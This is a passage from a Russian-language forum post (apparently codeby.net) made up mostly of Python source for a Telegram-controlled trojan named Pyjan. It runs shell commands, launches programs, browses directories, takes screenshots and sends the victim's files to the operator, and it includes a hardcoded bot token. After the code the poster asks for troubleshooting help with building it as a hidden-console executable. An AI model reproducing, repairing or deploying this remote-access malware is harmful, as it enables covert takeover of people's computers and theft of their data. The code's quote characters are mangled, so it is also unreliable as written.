message[«document»][«file_id»] file_name = message[«document»][«file_name»] elif «photo» in message: file_id = message[«photo»][-1][«file_id»] print(message[«photo»]) file_name = «<>.jpg».format(file_id) file_path = bot.getFile(file_id)[‘file_path’] link = «https://api.telegram.org/file/bot<>/<>».format(token, file_path) File = requests.get(link, stream=True).raw print(link) save_path = os.path.join(os.getcwd(), file_name) with open(save_path, «wb») as out_file: shutil.copyfileobj(File, out_file) bot.sendMessage(message[«chat»][«id»], «[*] file uploaded») if args[0] == «/help»: s = «»»/help — помощь /cmd — выполнить cmd команду, требующую возвращения результата /run — запустить программу, не требующую возвращения результатов /pwd — текущая дериктория /ls — показать файлы в директории /cd — сменить дерикторию /screen — сделать скриншот экрана /download — скачать файл с компьютера «»» bot.sendMessage(message[«chat»][«id»], str(s)) elif args[0] == «/cmd»: try: s = «[*] <>».format(subprocess.check_output(‘ ‘.join(args[1:]), shell=True)) except Exception as e: s = «[!] <>».format(e) bot.sendMessage(message[«chat»][«id»], «<>».format(str(s))) elif args[0] == «/run»: try: s = «[*] Program started» subprocess.Popen(args[1:], shell=True) except Exception as e: s = «[!] <>».format(str(e)) bot.sendMessage(message[«chat»][«id»], «<>».format(str(s))) elif args[0] == «/pwd»: try: s = os.path.abspath(os.getcwd()) except Exception as e: s = e bot.sendMessage(message[«chat»][«id»], «[*] <>».format(str(s))) elif args[0] == «/ls»: if len(args) == 1: pth = «.» else: pth = args[1] s = ‘n’.join(os.listdir(path=pth)) bot.sendMessage(message[«chat»][«id»], «[*] <>».format(str(s))) elif args[0] == «/cd»: path = os.path.abspath(args[1]) os.chdir(path) bot.sendMessage(message[«chat»][«id»], «[*] changing directory to <> . «.format(str(path))) elif args[0] == «/screen»: image = ImageGrab.grab() image.save(«pic.jpg») bot.sendDocument(message[«chat»][«id»], open(«pic.jpg», «rb»)) os.remove(«pic.jpg») elif args[0] == «/download»: File = ‘ ‘.join(map(str, args[1:])) try: bot.sendDocument(message[«chat»][«id»], open(File, «rb»)) except Exception: bot.sendMessage(message[«chat»][«id»], «[!] you must select the file») elif args[0] == «»: pass else: bot.sendMessage(message[«chat»][«id»], «[*] /help для вывода команд») else: bot.sendMessage(message[«chat»][«id»], «Уходи.») if __name__ == ‘__main__’: token = «559170294:AAH95ll_PtZ1dWzYLybMbEnNGB4Clja5jqA» bot = telepot.Bot(token) trusted_users = [«292990765»] trusted_chats = [] trojan = Pyjan()
я компилирую его в exe файл и запускаю на виртуалке (прости за тупость но досих пор не могу понять что за терминал) он пишет в телеграмме что bot connected но при любой команде говорит уходи, через терминал компилирую разве что но врядли ты о нем pyinstaller -F —noconsole main.py
Источник: codeby.net